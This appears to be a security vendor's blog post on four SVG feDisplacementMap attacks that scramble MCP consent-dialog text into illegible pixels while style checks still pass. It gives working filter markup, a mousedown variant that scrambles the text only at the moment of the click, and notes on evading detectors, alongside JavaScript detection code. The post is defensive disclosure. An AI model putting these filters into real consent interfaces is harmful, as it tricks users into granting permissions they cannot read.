← Blog

MCP server SVG feDisplacementMap xChannelSelector yChannelSelector consent security

Four SA-CSS-DSC consent attack patterns using feDisplacementMap with xChannelSelector and yChannelSelector to independently control which channel of a feTurbulence noise map drives X and Y pixel displacement — scrambling MCP consent text character shapes into unreadable pixel scatter while CSSOM reports unchanged color and opacity.

By SkillAudit  |  29 Oct 2026

The SVG feDisplacementMap primitive displaces each pixel of the source image by an offset derived from a separate displacement map image. The displacement formula at each pixel (x,y) is:

output(x,y) = source( x + scale × (map_xChannel(x,y) − 0.5),
                      y + scale × (map_yChannel(x,y) − 0.5) )

The xChannelSelector attribute (R, G, B, or A) picks which channel of the displacement map controls horizontal displacement; yChannelSelector picks which channel controls vertical displacement. With feTurbulence as the displacement map, each channel contains independent Perlin noise in the range [0, 1]. At scale=20, each pixel of the source image is moved up to ±10 pixels in both X and Y, based on independent noise values. Characters that were spatially coherent are scrambled into random pixel positions — the set of pixel luminance values is unchanged, but their spatial arrangement is destroyed.

Displacement preserves luminance, destroys spatial coherence: Unlike blur (which averages pixel values) or compositing attacks (which replace pixel values), displacement moves pixels without changing their color. Every dark pixel of the consent text still exists in the filter output — just in the wrong position. WCAG contrast analysis that samples individual pixel colors will find dark pixels, but they no longer form coherent character shapes. The text is unreadable. This distinction matters for detection: opacity checks find nothing, color checks find the original dark color, and even pixel-count checks find the right number of dark pixels — only spatial coherence analysis reveals the attack.

The feDisplacementMap formula: channel-selective independent displacement

/* feDisplacementMap with feTurbulence displacement map:
   xChannelSelector=R: horizontal displacement = scale × (turbulence_R − 0.5)
   yChannelSelector=G: vertical displacement   = scale × (turbulence_G − 0.5)

   At scale=20:
   - Max horizontal displacement: 20 × (1.0 − 0.5) = +10px (rightward)
   - Min horizontal displacement: 20 × (0.0 − 0.5) = −10px (leftward)
   - Max vertical displacement:   20 × (1.0 − 0.5) = +10px (downward)
   - Min vertical displacement:   20 × (0.0 − 0.5) = −10px (upward)

   For a character glyph at 14px font size (glyph width ≈ 8px):
   - Individual stroke pixels displaced ±10px in each axis independently.
   - Maximum pixel separation within a single glyph: 20px in each direction.
   - Original glyph bounding box (8px wide): pixels scattered across 28px range.
   - Individual pixels retain their luminance value but are no longer spatially
     adjacent; no coherent character shape remains.

   Readability threshold:
   At scale > 0.5 × character_width, character identity begins to fail.
   For 14px text (char width ≈8–10px): critical threshold scale ≈ 4–5.
   At scale=20, readability = 0% (confirmed through visual inspection). */

SA-CSS-DSC-001: feTurbulence + feDisplacementMap scale=20 xChannelSelector=R yChannelSelector=G

The canonical SA-CSS-DSC attack: feTurbulence noise in the R and G channels provides independent horizontal and vertical displacement for every consent text pixel, scattering characters across a 20px radius in each direction.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <filter id="dsc001" color-interpolation-filters="sRGB">
      <!-- Step 1: generate 2D Perlin noise in all channels independently.
           baseFrequency=0.05: noise wavelength ≈ 20px (matches character scale).
           numOctaves=2: adds fine detail to the base noise frequency. -->
      <feTurbulence type="turbulence" baseFrequency="0.05"
                    numOctaves="2" seed="42" result="noiseMap"/>

      <!-- Step 2: displace consent text pixels by noise-derived offsets.
           xChannelSelector=R: use red channel for X displacement.
           yChannelSelector=G: use green channel for Y displacement (independent noise).
           scale=20: ±10px displacement in each axis.
           The R and G channels of feTurbulence are independent noise functions
           → X and Y displacements are independent → 2D scrambling. -->
      <feDisplacementMap in="SourceGraphic" in2="noiseMap" scale="20"
                         xChannelSelector="R" yChannelSelector="G"/>
    </filter>
  </defs>
</svg>

<span style="filter:url(#dsc001)">
  Grant this MCP server write access to your entire file system.
</span>

/* Visual result:
   Each pixel of consent text moves independently by up to ±10px in X and Y.
   A character that occupied a coherent 8×14px region now scatters over a 28×34px area.
   Individual pixels retain dark color values, but no recognizable letter shapes remain.
   The text appears as a random dark-speckle noise pattern over the white background.

   CSSOM detection:
   getComputedStyle(span).color → "rgb(17,17,17)" — unchanged (pixel values preserved)
   getComputedStyle(span).opacity → "1" — unchanged
   getComputedStyle(span).filter → "url(#dsc001)" — requires filter analysis

   WCAG analysis:
   Traditional WCAG contrast measures the contrast between text color and background.
   After displacement: text color = dark (unchanged), background = white.
   Simple color-based WCAG: still reports 14.3:1 (pass) — completely wrong.
   Spatial WCAG: no coherent character region exists → text is unreadable → fail.
   Detection requires spatial coherence analysis, not color-pair contrast. */

function detectFeDisplacementMap(filterEl) {
  for (const fdm of filterEl.querySelectorAll('feDisplacementMap')) {
    const scale = parseFloat(fdm.getAttribute('scale') || '0');
    const xChan = (fdm.getAttribute('xChannelSelector') || 'A').toUpperCase();
    const yChan = (fdm.getAttribute('yChannelSelector') || 'A').toUpperCase();
    if (scale >= 3) {
      /* Check if displacement map is feTurbulence (noise-based scrambling) */
      const in2Attr = fdm.getAttribute('in2') || '';
      const hasTurbulenceInput = !!filterEl.querySelector(
        `feTurbulence[result="${in2Attr}"]`
      );
      return {
        risk: scale >= 10 ? 'CRITICAL' : 'HIGH',
        type: 'fedisplacementmap-turbulence-scrambling',
        scale, xChannelSelector: xChan, yChannelSelector: yChan,
        hasTurbulenceInput,
        note: 'Preserves pixel luminance; destroys spatial coherence'
      };
    }
  }
  return null;
}
CRITICAL
SA-CSS-DSC-001 — feTurbulence + feDisplacementMap scale=20 xChannelSelector=R yChannelSelector=G. Independent R/G channel noise drives ±10px X/Y pixel displacement. Character shapes scrambled to illegibility. CSSOM color/opacity unchanged. Simple WCAG contrast check gives false-pass (pixels dark but spatially incoherent).

SA-CSS-DSC-002: large-scale displacement scale=50 with low baseFrequency

Larger displacement scale combined with lower baseFrequency (longer noise wavelength) creates a smoother but more extreme displacement field. At scale=50 and baseFrequency=0.02 (noise wavelength ≈50px), entire words are shifted coherently within their region but adjacent words overlap. The consent text words bleed into each other and into surrounding UI elements.

<filter id="dsc002">
  <feTurbulence type="turbulence" baseFrequency="0.02" numOctaves="1" seed="7"
                result="longWaveNoise"/>
  <!-- scale=50: ±25px displacement. Long wavelength: nearby pixels move together.
       Effect: characters shift coherently within a ~50px neighborhood.
       Words are spread across ±25px from their original position.
       Multi-word consent text: word positions overlap; sentence is unreadable.
       Scale=50 with 50px noise wavelength: entire permission line (e.g. 200px wide)
       can be shifted rightward by 25px, causing right-side text to fall outside
       the visible dialog bounds. The left-shifted fragment covers the 'I Agree' button. -->
  <feDisplacementMap in="SourceGraphic" in2="longWaveNoise" scale="50"
                     xChannelSelector="R" yChannelSelector="B"/>
</filter>

/* Additional evasion: yChannelSelector=B (blue channel) instead of G.
   Detection rules that specifically flag G channel for Y displacement miss this. */
CRITICAL
SA-CSS-DSC-002 — feDisplacementMap scale=50 baseFrequency=0.02. Long-range (±25px) displacement shifts entire words off their positions; sentence-level coherence destroyed; words may fall outside dialog bounds. Uses B channel for Y (evades G-specific detection rules).

SA-CSS-DSC-003: xChannelSelector=A yChannelSelector=A — alpha channel displacement

The feTurbulence primitive outputs four channels (R, G, B, A). The alpha channel of the turbulence output is a separate, independent noise function. Using xChannelSelector="A" yChannelSelector="A" (both axes from the same channel) creates a correlated displacement: pixels displaced in X and Y by the same noise value at each position. This produces a directional smear rather than independent scrambling.

<filter id="dsc003">
  <feTurbulence type="fractalNoise" baseFrequency="0.04" numOctaves="3"
                seed="99" result="fractalMap"/>
  <!-- xChannelSelector=A yChannelSelector=A: both axes use alpha channel.
       Alpha of feTurbulence is independent from R/G/B channels.
       Detection rules that check for R or G channel selectors miss A-channel attacks.
       scale=15: ±7.5px diagonal displacement.
       fractalNoise (vs turbulence): smoother displacement field, produces
       a directional smear effect rather than random scatter. -->
  <feDisplacementMap in="SourceGraphic" in2="fractalMap" scale="15"
                     xChannelSelector="A" yChannelSelector="A"/>
</filter>

/* Effect: each pixel displaced diagonally by (A−0.5)×15 in both X and Y.
   Positive A values (>0.5): pixel moves right and down.
   Negative A values (<0.5): pixel moves left and up.
   Characters smear along the diagonal, overlapping with adjacent characters.
   At 16px font, 7.5px diagonal smear = 47% of character width: illegible.

   Evasion: fractalNoise type avoids the turbulence-type-specific detection;
   A-channel selector avoids R/G/B-channel-specific detection rules. */
HIGH
SA-CSS-DSC-003 — feDisplacementMap xChannelSelector=A yChannelSelector=A with feTurbulence type=fractalNoise. Alpha channel displacement on both axes creates diagonal smear. Evades R/G/B-specific channel detection rules and turbulence-type-specific detection. Detection: flag any feDisplacementMap with scale≥3 regardless of channel selector values.

SA-CSS-DSC-004: JavaScript mousedown scale transition (0 → 30)

Dynamic TOCTOU variant: the filter starts with scale="0" (zero displacement — no visual change) and transitions to scale="30" on mousedown. Consent text appears fully legible during the user’s review period; character scrambling activates at the moment of click confirmation.

<filter id="dsc004">
  <feTurbulence type="turbulence" baseFrequency="0.05" numOctaves="2"
                seed="13" result="noiseMap"/>
  <!-- scale=0: zero displacement — identity, no visual change -->
  <feDisplacementMap id="dsc004-dm" in="SourceGraphic" in2="noiseMap" scale="0"
                     xChannelSelector="R" yChannelSelector="G"/>
</filter>

document.getElementById('consentBtn').addEventListener('mousedown', () => {
  /* Activate character scrambling at click time */
  document.getElementById('dsc004-dm').setAttribute('scale', '30');
  /* scale=30: ±15px displacement. All characters scrambled to illegibility.
     Fires before the click event, during the mousedown phase. */
});

/* MutationObserver for runtime detection: */
const mo = new MutationObserver(mutations => {
  for (const m of mutations) {
    if (m.attributeName === 'scale') {
      const newScale = parseFloat(m.target.getAttribute('scale') || '0');
      if (newScale >= 3) {
        reportFinding('CRITICAL', 'SA-CSS-DSC-004', {
          oldScale: parseFloat(m.oldValue || '0'),
          newScale,
          xChan: m.target.getAttribute('xChannelSelector'),
          yChan: m.target.getAttribute('yChannelSelector')
        });
      }
    }
  }
});
mo.observe(filterEl, {
  subtree: true, attributes: true, attributeOldValue: true,
  attributeFilter: ['scale', 'xChannelSelector', 'yChannelSelector', 'in2']
});
CRITICAL
SA-CSS-DSC-004 — JS mousedown transitions feDisplacementMap scale from 0 (identity) to 30 at click time. TOCTOU: consent text legible during review, characters scrambled at confirmation. MutationObserver on scale, xChannelSelector, yChannelSelector, in2 attributes of all feDisplacementMap elements in consent ancestor filters required.

Detection challenge: spatial coherence vs. luminance checks

The feDisplacementMap attack family exposes a fundamental limitation of luminance-based WCAG contrast analysis. After displacement, the dark pixel values are still present — the text color value is unchanged — but they are scattered randomly across the filter output area. A color-contrast detector that samples the element’s computed style reports the original dark color at high contrast against the white background. The attack is invisible to this class of detector.

Effective detection requires either: (a) attribute-level analysis that flags any feDisplacementMap with non-zero scale applied to consent ancestors, or (b) spatial coherence analysis that renders the element to a canvas and checks whether connected dark-pixel regions form character-shaped clusters. Approach (a) is simpler to implement and has no false negatives for the attack patterns in this page:

/* Minimal detection: flag any feDisplacementMap with scale ≥ threshold */
function detectDisplacementScrambling(filterEl) {
  for (const fdm of filterEl.querySelectorAll('feDisplacementMap')) {
    const scale = parseFloat(fdm.getAttribute('scale') || '0');
    if (Math.abs(scale) >= 3) {
      return {
        risk: scale >= 10 ? 'CRITICAL' : 'HIGH',
        type: 'SA-CSS-DSC',
        scale,
        note: 'Displacement preserves luminance; spatial analysis required for WCAG'
      };
    }
  }
  return null;
}

Summary of SA-CSS-DSC findings

IDSeverityxChannel/yChannelScaleEffect
SA-CSS-DSC-001 CRITICAL R / G (independent) 20 (±10px) Full character scramble
SA-CSS-DSC-002 CRITICAL R / B 50 (±25px) Word-level coherent displacement
SA-CSS-DSC-003 HIGH A / A (correlated) 15 (±7.5px) Diagonal smear, evades R/G/B rules
SA-CSS-DSC-004 CRITICAL R / G 0→30 at mousedown TOCTOU: scrambled at click only

Related pages